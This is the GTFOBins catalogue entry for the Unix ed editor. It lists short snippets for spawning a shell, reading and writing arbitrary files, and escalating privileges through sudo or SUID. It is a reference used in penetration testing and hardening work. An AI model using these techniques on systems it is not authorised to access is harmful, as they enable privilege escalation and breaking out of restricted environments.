GTFOBins.github.io/_gtfobins/ed.md
2021-01-12 13:44:19 +02:00

34 lines
430 B
Markdown

---
functions:
shell:
- code: |
ed
!/bin/sh
file-write:
- code: |
ed file_to_write
a
DATA
.
w
q
file-read:
- code: |
ed file_to_read
,p
q
suid:
- code: |
ed file_to_read
,p
q
sudo:
- code: |
sudo ed
!/bin/sh
limited-suid:
- code: |
./ed
!/bin/sh
---